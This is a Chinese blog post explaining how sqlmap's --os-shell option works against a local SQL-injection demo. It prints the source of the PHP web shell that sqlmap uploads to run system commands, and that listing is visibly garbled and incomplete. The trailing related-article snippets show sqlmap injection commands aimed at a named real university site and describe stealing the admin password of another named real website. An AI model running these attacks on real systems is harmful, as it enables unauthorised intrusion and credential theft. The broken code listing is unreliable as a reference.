sqlmap之 os shell命令執行原理

2022-06-19 09:48:07 字數 1937 閱讀 7091

最近也是在看sqlmap,感覺--os-shell這個命令確實很厲害,但我並不知道它的原理,所以來研究一下

環境就是我本地搭的乙個有sql注入漏洞的乙個小demo

這是我們的demo環境

用sqlmap跑一下

發現確實有注入

試試--os-shell命令

python2 sqlmap.py -r 11.9.txt --os-shell
選擇語言,sqlmap預設為php,此處根據需求選擇

輸入絕對路徑

建立os-shell然後命令執行

原理很簡單,就是用into outfile函式將乙個可以用來上傳的php檔案寫到**的根目錄下

然後利用tmpukjhb.php上傳了乙個tmpbezal.php的檔案,tmpbezal.php這個檔案可以用來執行系統命令,並且將結果返回出來

tmpbezal.php**如下:

1

<?php

2$c=$_request["cmd"];

3 @set_time_limit(0);

4 @ignore_user_abort(1);

5 @ini_set('max_execution_time',0);

6$z=@ini_get('disable_functions');

7if(!empty($z))8

12else

1316

$c=$c." 2>&1\n";

17function f($n

)18

21if(f('system'))

22 elseif(f('proc_open'))

32 @proc_close($y

);33}34

elseif(f('shell_exec'))

37elseif(f('passthru'))elseif(f('popen'))49}

50 @pclose($x

);51 }elseif(f('exec'))else

58print "

".$w."";?>'''

上述**實現了os-shell得到了命令後,如何執行命令以及輸出執行結果到os-shell中。

因此我們可以在os-shell中執行命令。

通過上述的分析,我們知道了sqlmap os-shell引數的用法以及原理。

很多的人會對os-shell的使用進行吐槽,這是得要多大的許可權才能執行。是的,os-shell的執行條件有三個

(1)**必須是root許可權

(2)攻擊者需要知道**的絕對路徑

(3)gpc為off,php主動轉義的功能關閉

參考:

利用sqlmap之 os shell拿shell

過程 d sqlmap sqlmap.py u www.eltu.cuhk.edu.hk staff admin.php?staffid 1 curren t user 必須是root許可權 d sqlmap sqlmap.py u www.eltu.cuhk.edu.hk staff admin....

kali之sqlmap應用實戰

好久沒有玩kali,都說kali玩的好,局子進的早,在各大神帖子下,今天打算用sqlmap來獲取某個悲催 的管理員賬號和密碼,www.bible history.com這個就是傳說中經常被攻擊的 今天就拿它開刀。sqlmap工具通常都是用sql自動注入來獲取 管理員密碼。輸入這個 跳轉的 介面如下 ...

SQL注入之Sqlmap使用

我們都知道,對於網路滲透最重要的一步是要拿到後台資料庫管理員的密碼與使用者名稱,那麼怎麼得到這個使用者名稱和密碼呢?就要用到今天所說的sqlmap,它不僅適用於內網環境,在外網環境也是非常受歡迎的,並且在kali linux裡邊顯得尤為重要,它所到之處幾乎是 寸草不生 那麼接下來我就簡單介紹下sql...